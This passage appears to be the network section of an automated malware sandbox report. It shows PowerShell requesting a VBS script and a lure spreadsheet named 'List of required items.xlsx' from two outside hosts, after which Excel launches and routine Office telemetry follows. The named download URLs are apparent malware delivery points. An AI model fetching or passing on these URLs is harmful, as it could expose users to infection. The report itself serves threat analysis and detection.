Dec 8, 2024 10:47:31.687092066 CET	1.1.1.1	192.168.2.8	0x9234	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:47:34.720690966 CET	1.1.1.1	192.168.2.8	0x4c31	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 8, 2024 10:47:34.720690966 CET	1.1.1.1	192.168.2.8	0x4c31	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.pts.group

www.fornid.com

ecs.office.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	68.66.226.116	443	3796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:46:19 UTC	167	OUT	GET /ab/ab.vbs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.pts.group Connection: Keep-Alive
2024-12-08 09:46:19 UTC	541	IN	HTTP/1.1 403 Forbidden Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 787 date: Sun, 08 Dec 2024 09:46:19 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-08 09:46:19 UTC	787	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 403 Forbidden</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	93.95.216.175	443	3796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:46:21 UTC	195	OUT	GET /ab/List%20of%20required%20items.xlsx HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.fornid.com Connection: Keep-Alive
2024-12-08 09:46:22 UTC	347	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:46:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 03 Dec 2024 04:19:39 GMT ETag: "20426a6-1fa6-62855f93d23a9" Accept-Ranges: bytes Content-Length: 8102 Vary: Accept-Encoding Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
2024-12-08 09:46:22 UTC	7845	IN	Data Raw: 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 62 ee 9d 68 5e 01 00 00 90 04 00 00 13 00 08 02 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 04 02 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PK!bh^[Content_Types].xml (
2024-12-08 09:46:22 UTC	257	IN	Data Raw: d3 85 02 00 00 b1 05 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 00 78 6c 2f 73 74 79 6c 65 73 2e 78 6d 6c 50 4b 01 02 2d 00 14 00 06 00 08 00 00 00 21 00 0e ea cc 7e 10 02 00 00 a2 05 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 96 15 00 00 78 6c 2f 77 6f 72 6b 73 68 65 65 74 73 2f 73 68 65 65 74 31 2e 78 6d 6c 50 4b 01 02 2d 00 14 00 06 00 08 00 00 00 21 00 a7 0a e4 bd 3d 01 00 00 57 02 00 00 11 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 17 00 00 64 6f 63 50 72 6f 70 73 2f 63 6f 72 65 2e 78 6d 6c 50 4b 01 02 2d 00 14 00 06 00 08 00 00 00 21 00 de 41 16 d9 8a 01 00 00 11 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 50 1a 00 00 64 6f 63 50 72 6f 70 73 2f 61 70 70 2e 78 6d 6c 50 4b 05 06 00 00 00 00 0a 00 0a 00 80 02 00 00 10 1d 00 00 Data Ascii: xl/styles.xmlPK-!~xl/worksheets/sheet1.xmlPK-!=WdocProps/core.xmlPK-!APdocProps/app.xmlPK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49715	52.123.243.179	443	6732	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:46:31 UTC	851	OUT	GET /config/v2/Office/excel/16.0.16827.20130/Production/CC?&EcsCanary=1&Clientid=%7bCA59C53D-E458-431B-8ED4-330B89EFBD36%7d&Application=excel&Platform=win32&Version=16.0.16827.20130&MsoVersion=16.0.16827.20130&ProcessName=excel.exe&Audience=Production&Build=ship&Architecture=x86&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&LicenseCategory=7&LicenseSKU=ProPlus2019Retail&OsVersion=10.0&OsBuild=19045&Channel=CC&InstallType=C2R&SessionId=%7b1A503EE8-30F5-4983-BEFE-EC04FF55F26F%7d&LabMachine=false HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip If-None-Match: "enTcjZgT68gctiEaeAXTjCZ0zq0sZZUNL0VDwz0IJG8=" User-Agent: Microsoft Office 2014 DisableExperiments: false X-ECS-Client-Last-Telemetry-Events: ecs_client_library_name=MSO,ecs_client_app_name=Office,ecs_client_version=16.0.16827.20130 Host: ecs.office.com
2024-12-08 09:46:32 UTC	1180	IN	HTTP/1.1 200 OK Cache-Control: no-cache,max-age=14400 Content-Length: 148829 Content-Type: application/json Expires: Sun, 08 Dec 2024 13:46:31 GMT ETag: "2yZqOs2IBZxmA0MDZeM7GacJRzvnQOSpMYhNz6l/67o=" Server: Microsoft-IIS/10.0 request-id: 542b4e2c-63eb-e4c0-f0b5-9e02d77ebd03 X-BackEndHttpStatus: 200 X-Content-Type-Options: nosniff X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"NelEcsUpload1","max_age":604800,"endpoints":[{"url":"https://ecs.nel.measure.office.net?TenantId=Office&DestinationEndpoint=MIRA-WW-DXX&FrontEnd=MIRA"}],"include_subdomains":true} NEL: {"report_to":"NelEcsUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-RoutingCorrectness: 1 X-MSEdge-Ref: MIRA: 542b4e2c-63eb-e4c0-f0b5-9e02d77ebd03 DXXP273CA0021 2024-12-08T09:46:33.524Z Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: DXB X-FEProxyInfo: DXXP273CA0021.AREP273.PROD.OUTLOOK.COM X-FEEFZInfo: DXB X-Powered-By: ASP.NET X-FEServer: DXXP273CA0021 Date: Sun, 08 Dec 2024 09:46:33 GMT Connection: close
2024-12-08 09:46:32 UTC	1206	IN	Data Raw: 7b 22 45 43 53 22 3a 7b 22 43 6f 6e 66 69 67 4c 6f 67 54 61 72 67 65 74 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 63 37 32 65 61 32 38 37 2d 65 64 37 37 2d 34 66 61 36 2d 61 34 38 30 2d 33 37 31 32 34 30 36 63 33 36 37 65 22 3a 22 61 6b 61 2e 6d 73 2f 45 63 73 43 61 6e 61 72 79 22 2c 22 43 61 63 68 65 45 78 70 69 72 79 49 6e 4d 69 6e 22 3a 32 34 30 2c 22 45 6e 61 62 6c 65 53 6d 61 72 74 45 54 61 67 22 3a 31 2c 22 43 6f 6e 66 69 67 49 64 44 65 6c 69 6d 69 74 65 72 49 6e 4c 6f 67 22 3a 22 3b 22 7d 2c 22 4e 61 6e 63 79 4f 66 66 69 63 65 54 65 61 6d 22 3a 7b 22 7a 68 65 74 61 6e 34 31 32 32 30 32 31 22 3a 74 72 75 65 7d 2c 22 4f 66 66 69 63 65 5f 41 63 63 65 73 73 22 3a 7b 22 55 73 65 46 6f 72 6d 54 68 65 6d 65 49 66 4e 6f 50 61 72 65 6e 74 53 65 63 74 69 6f 6e Data Ascii: {"ECS":{"ConfigLogTarget":"default","c72ea287-ed77-4fa6-a480-3712406c367e":"aka.ms/EcsCanary","CacheExpiryInMin":240,"EnableSmartETag":1,"ConfigIdDelimiterInLog":";"},"NancyOfficeTeam":{"zhetan4122021":true},"Office_Access":{"UseFormThemeIfNoParentSection
2024-12-08 09:46:32 UTC	14485	IN	Data Raw: 6c 73 65 7d 2c 22 4f 66 66 69 63 65 5f 41 75 67 4c 6f 6f 70 22 3a 7b 22 45 6e 61 62 6c 65 42 61 74 63 68 4f 70 74 69 6f 6e 73 22 3a 74 72 75 65 2c 22 41 6e 6e 6f 74 61 74 69 6f 6e 43 68 65 63 6b 52 65 73 75 6c 74 42 65 66 6f 72 65 45 72 61 73 65 56 32 22 3a 66 61 6c 73 65 2c 22 57 6f 72 6b 66 6c 6f 77 44 69 73 61 62 6c 65 64 2e 52 65 70 6c 61 63 65 4f 62 6a 65 63 74 57 6f 72 6b 66 6c 6f 77 22 3a 74 72 75 65 7d 2c 22 4f 66 66 69 63 65 5f 43 68 61 72 74 22 3a 7b 22 57 65 61 6b 52 65 66 43 6f 75 6e 74 73 22 3a 74 72 75 65 2c 22 50 72 65 73 65 6e 74 61 74 69 6f 6e 4c 69 6e 65 45 6e 64 69 6e 67 46 69 78 22 3a 74 72 75 65 7d 2c 22 4f 66 66 69 63 65 5f 43 6c 69 63 6b 32 52 75 6e 22 3a 7b 22 50 72 6f 63 65 73 73 54 6f 46 69 6c 74 65 72 41 6e 64 54 65 72 6d 69 6e Data Ascii: lse},"Office_AugLoop":{"EnableBatchOptions":true,"AnnotationCheckResultBeforeEraseV2":false,"WorkflowDisabled.ReplaceObjectWorkflow":true},"Office_Chart":{"WeakRefCounts":true,"PresentationLineEndingFix":true},"Office_Click2Run":{"ProcessToFilterAndTermin
2024-12-08 09:46:32 UTC	16384	IN	Data Raw: 74 74 70 73 4f 6e 52 65 73 70 6f 6e 73 65 22 3a 74 72 75 65 2c 22 57 6f 70 69 54 6f 6b 65 6e 54 69 6d 65 42 65 66 6f 72 65 52 65 66 72 65 73 68 49 6e 4d 69 6e 75 74 65 73 22 3a 32 2c 22 45 6e 61 62 6c 65 43 6c 6f 75 64 55 73 61 67 65 4d 65 74 72 69 63 73 41 70 69 22 3a 74 72 75 65 2c 22 44 6f 63 75 6d 65 6e 74 53 75 6d 6d 61 72 79 54 65 6c 65 6d 65 74 72 79 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 47 72 6f 75 70 46 65 61 74 75 72 65 22 3a 7b 22 41 64 64 43 6c 6f 63 6b 44 61 74 61 4f 6e 4c 61 62 65 6c 43 68 61 6e 67 65 73 22 3a 74 72 75 65 2c 22 41 64 64 43 6c 6f 63 6b 44 61 74 61 4f 6e 50 75 74 43 68 61 6e 67 65 73 22 3a 74 72 75 65 2c 22 48 79 70 65 72 6c 69 6e 6b 4f 70 65 6e 49 6e 22 3a 74 72 75 65 2c 22 50 72 6f 74 6f 63 6f 6c 48 61 6e 64 6c 65 72 Data Ascii: ttpsOnResponse":true,"WopiTokenTimeBeforeRefreshInMinutes":2,"EnableCloudUsageMetricsApi":true,"DocumentSummaryTelemetryEnabled":true,"GroupFeature":{"AddClockDataOnLabelChanges":true,"AddClockDataOnPutChanges":true,"HyperlinkOpenIn":true,"ProtocolHandler
2024-12-08 09:46:32 UTC	16384	IN	Data Raw: 43 34 41 4d 41 42 61 41 4d 4d 47 41 77 41 41 22 2c 22 45 6e 61 62 6c 65 55 70 64 61 74 65 64 4e 70 73 52 61 74 69 6e 67 4c 61 62 65 6c 73 22 3a 74 72 75 65 2c 22 49 73 53 75 72 76 65 79 45 78 70 65 72 69 6d 65 6e 74 49 6e 74 65 67 72 61 74 69 6f 6e 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 45 78 63 65 6c 2e 43 61 6d 70 61 69 67 6e 73 2e 32 30 22 3a 22 43 68 49 6b 4d 51 41 30 41 47 59 41 4f 41 41 33 41 44 59 41 59 51 42 6d 41 43 30 41 5a 41 41 79 41 44 41 41 4d 67 41 74 41 44 51 41 4d 51 41 33 41 44 49 41 4c 51 41 35 41 47 55 41 5a 41 42 6c 41 43 30 41 4d 67 42 68 41 47 4d 41 4f 51 41 34 41 44 4d 41 4e 67 42 68 41 47 51 41 59 77 42 6d 41 44 49 41 4b 68 41 41 4b 68 41 41 41 51 57 41 6d 70 34 42 41 45 6f 51 41 41 45 46 67 4d 37 61 41 77 41 42 42 52 51 6c Data Ascii: C4AMABaAMMGAwAA","EnableUpdatedNpsRatingLabels":true,"IsSurveyExperimentIntegrationEnabled":true,"Excel.Campaigns.20":"ChIkMQA0AGYAOAA3ADYAYQBmAC0AZAAyADAAMgAtADQAMQA3ADIALQA5AGUAZABlAC0AMgBhAGMAOQA4ADMANgBhAGQAYwBmADIAKhAAKhAAAQWAmp4BAEoQAAEFgM7aAwABBRQl
2024-12-08 09:46:32 UTC	16384	IN	Data Raw: 36 38 30 30 30 5f 33 22 3a 31 2c 22 72 36 38 30 30 31 5f 32 22 3a 31 2c 22 72 31 38 30 30 30 33 5f 35 22 3a 31 2c 22 72 31 38 30 30 32 36 5f 32 22 3a 31 2c 22 72 31 38 30 30 32 37 5f 32 22 3a 31 2c 22 72 31 38 30 30 32 38 5f 31 22 3a 31 2c 22 72 31 38 30 30 32 39 5f 30 22 3a 31 2c 22 72 31 38 30 30 33 30 5f 30 22 3a 31 2c 22 72 31 38 30 30 33 31 5f 30 22 3a 31 2c 22 72 31 38 30 30 33 32 5f 30 22 3a 31 2c 22 72 31 38 30 30 33 34 5f 30 22 3a 31 2c 22 72 31 38 30 30 34 33 5f 31 22 3a 31 2c 22 72 31 38 30 30 34 39 5f 30 22 3a 31 2c 22 72 31 38 30 30 35 31 5f 31 22 3a 31 2c 22 72 31 38 30 30 35 32 5f 30 22 3a 31 2c 22 72 31 38 30 30 35 37 5f 31 22 3a 31 2c 22 72 31 38 30 30 35 38 5f 31 22 3a 31 2c 22 72 31 38 30 30 35 39 5f 31 22 3a 31 2c 22 72 31 38 30 30 36 Data Ascii: 68000_3":1,"r68001_2":1,"r180003_5":1,"r180026_2":1,"r180027_2":1,"r180028_1":1,"r180029_0":1,"r180030_0":1,"r180031_0":1,"r180032_0":1,"r180034_0":1,"r180043_1":1,"r180049_0":1,"r180051_1":1,"r180052_0":1,"r180057_1":1,"r180058_1":1,"r180059_1":1,"r18006
2024-12-08 09:46:32 UTC	16384	IN	Data Raw: 22 45 76 65 6e 74 46 6c 61 67 22 3a 35 31 32 7d 2c 22 46 53 6d 65 6c 6c 73 4c 69 6b 65 4d 65 74 72 6f 46 69 6c 65 43 61 6e 63 65 6c 61 62 6c 65 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 43 6f 61 75 74 68 41 75 74 6f 53 61 76 65 49 6e 53 79 6e 63 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 35 31 32 7d 2c 22 45 78 65 63 75 74 65 4d 65 72 67 65 49 6e 73 74 61 6e 63 65 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 35 31 32 7d 2c 22 4c 6f 61 64 43 6d 64 4c 69 6e 65 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 35 31 32 7d 2c 22 57 6f 72 6b 62 6f 6f 6b 44 69 72 74 79 4e 6f 52 65 76 69 73 69 6f 6e 73 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 50 72 65 73 65 6e 63 65 53 65 65 6e 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 35 36 7d Data Ascii: "EventFlag":512},"FSmellsLikeMetroFileCancelable":{"EventFlag":2},"CoauthAutoSaveInSync":{"EventFlag":512},"ExecuteMergeInstance":{"EventFlag":512},"LoadCmdLine":{"EventFlag":512},"WorkbookDirtyNoRevisions":{"EventFlag":2},"PresenceSeen":{"EventFlag":256}
2024-12-08 09:46:32 UTC	16384	IN	Data Raw: 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 44 69 73 70 61 74 63 68 44 65 6c 65 74 65 43 6f 6d 6d 65 6e 74 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 44 69 73 63 61 72 64 44 72 61 66 74 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 43 6c 65 61 72 43 6f 6d 6d 65 6e 74 53 65 6c 65 63 74 69 6f 6e 41 63 74 69 6f 6e 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 7d 7d 2c 22 48 6f 6d 65 50 61 67 65 22 3a 7b 22 45 76 65 6e 74 73 22 3a 7b 22 50 6c 61 63 65 43 68 61 6e 67 65 53 6c 61 62 43 6f 6e 64 69 74 69 6f 6e 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 4f 6e 53 68 6f 77 48 6f 6d 65 50 61 67 65 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 7d 2c 22 53 75 62 4e 61 6d 65 73 70 61 63 65 73 22 3a 7b 22 53 Data Ascii: ":{"EventFlag":2},"DispatchDeleteComment":{"EventFlag":2},"DiscardDraft":{"EventFlag":2},"ClearCommentSelectionAction":{"EventFlag":2}}},"HomePage":{"Events":{"PlaceChangeSlabCondition":{"EventFlag":2},"OnShowHomePage":{"EventFlag":2}},"SubNamespaces":{"S
2024-12-08 09:46:32 UTC	16384	IN	Data Raw: 6c 61 67 22 3a 34 38 38 39 36 7d 2c 22 4f 44 50 4c 61 74 65 6e 63 79 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 34 38 38 39 36 7d 7d 7d 2c 22 55 58 22 3a 7b 22 45 76 65 6e 74 73 22 3a 7b 22 43 6f 6c 6f 72 50 69 63 6b 65 72 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 46 6c 75 65 6e 74 52 65 66 72 65 73 68 45 6c 69 67 69 62 6c 65 42 75 74 4e 6f 74 45 6e 61 62 6c 65 64 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 35 31 32 7d 2c 22 43 6f 6d 69 6e 67 53 6f 6f 6e 54 43 53 48 57 4e 44 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 43 6f 6d 69 6e 67 53 6f 6f 6e 48 72 4d 61 6b 65 52 65 71 75 65 73 74 22 3a 7b 22 45 76 65 6e 74 46 6c 61 67 22 3a 32 7d 2c 22 4e 6f 46 69 6c 65 45 78 74 65 6e 73 69 6f 6e 49 63 6f 6e 4d 61 70 70 69 6e 67 22 3a Data Ascii: lag":48896},"ODPLatency":{"EventFlag":48896}}},"UX":{"Events":{"ColorPicker":{"EventFlag":2},"FluentRefreshEligibleButNotEnabled":{"EventFlag":512},"ComingSoonTCSHWND":{"EventFlag":2},"ComingSoonHrMakeRequest":{"EventFlag":2},"NoFileExtensionIconMapping":
2024-12-08 09:46:32 UTC	16384	IN	Data Raw: 74 73 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 54 65 6c 6c 4d 65 2e 41 6e 73 77 65 72 52 65 73 75 6c 74 51 75 65 72 79 4c 65 6e 67 74 68 54 68 72 65 73 68 6f 6c 64 22 3a 36 2c 22 54 65 6c 6c 4d 65 2e 49 73 52 65 6d 6f 76 69 6e 67 44 65 66 69 6e 69 74 69 6f 6e 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 7d 2c 22 53 68 61 72 65 64 53 65 72 70 6c 65 74 46 65 61 74 75 72 65 47 61 74 65 33 35 22 3a 74 72 75 65 2c 22 54 65 6c 6c 4d 65 2e 49 73 53 65 61 72 63 68 54 65 61 63 68 69 6e 67 4c 61 62 65 6c 46 6f 72 41 63 74 69 76 65 53 74 61 74 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 53 68 61 72 65 64 53 65 72 70 6c 65 74 46 65 61 74 75 72 65 47 61 74 65 32 30 22 3a 74 72 75 65 2c 22 53 68 61 72 65 64 53 65 72 70 6c 65 74 46 65 61 74 75 72 65 47 61 74 65 32 32 Data Ascii: tsEnabled":true,"TellMe.AnswerResultQueryLengthThreshold":6,"TellMe.IsRemovingDefinitionEnabled":true},"SharedSerpletFeatureGate35":true,"TellMe.IsSearchTeachingLabelForActiveStateEnabled":true,"SharedSerpletFeatureGate20":true,"SharedSerpletFeatureGate22
2024-12-08 09:46:32 UTC	693	IN	Data Raw: 35 36 34 2d 33 2d 39 2c 50 2d 58 2d 31 30 34 33 37 31 36 2d 31 2d 33 2c 50 2d 58 2d 31 30 31 31 34 34 32 2d 31 2d 31 31 2c 50 2d 58 2d 31 30 31 30 33 31 34 2d 31 2d 35 2c 50 2d 58 2d 31 30 38 33 36 34 2d 31 2d 33 2c 50 2d 58 2d 37 37 37 34 32 2d 31 2d 35 2c 50 2d 58 2d 38 36 33 39 35 2d 31 2d 35 2c 50 2d 58 2d 38 34 33 32 31 2d 31 2d 35 2c 50 2d 58 2d 35 30 32 32 30 2d 31 2d 33 2c 50 2d 58 2d 34 39 37 33 30 2d 31 2d 33 2c 50 2d 52 2d 31 31 35 32 31 36 39 2d 38 2d 37 2c 50 2d 52 2d 31 30 34 33 38 38 35 2d 36 2d 36 2c 50 2d 52 2d 31 30 31 34 34 35 32 2d 38 2d 38 2c 50 2d 52 2d 36 34 38 34 31 2d 32 32 2d 31 35 2c 50 2d 52 2d 36 33 31 30 30 2d 32 38 2d 31 30 2c 50 2d 52 2d 35 32 30 33 38 2d 32 38 2d 31 38 2c 50 2d 52 2d 33 36 36 38 33 2d 31 38 2d 34 30 2c 50 Data Ascii: 564-3-9,P-X-1043716-1-3,P-X-1011442-1-11,P-X-1010314-1-5,P-X-108364-1-3,P-X-77742-1-5,P-X-86395-1-5,P-X-84321-1-5,P-X-50220-1-3,P-X-49730-1-3,P-R-1152169-8-7,P-R-1043885-6-6,P-R-1014452-8-8,P-R-64841-22-15,P-R-63100-28-10,P-R-52038-28-18,P-R-36683-18-40,P

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.8	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:26 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:27 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:26 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 07 Dec 2024 15:08:57 GMT ETag: "0x8DD16D112C941E3" x-ms-request-id: 2bf777ac-301e-0099-29dd-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094726Z-r1cf579d778lntp7hC1EWR9gg400000004eg000000001xd8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:27 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-08 09:47:27 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-08 09:47:27 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" 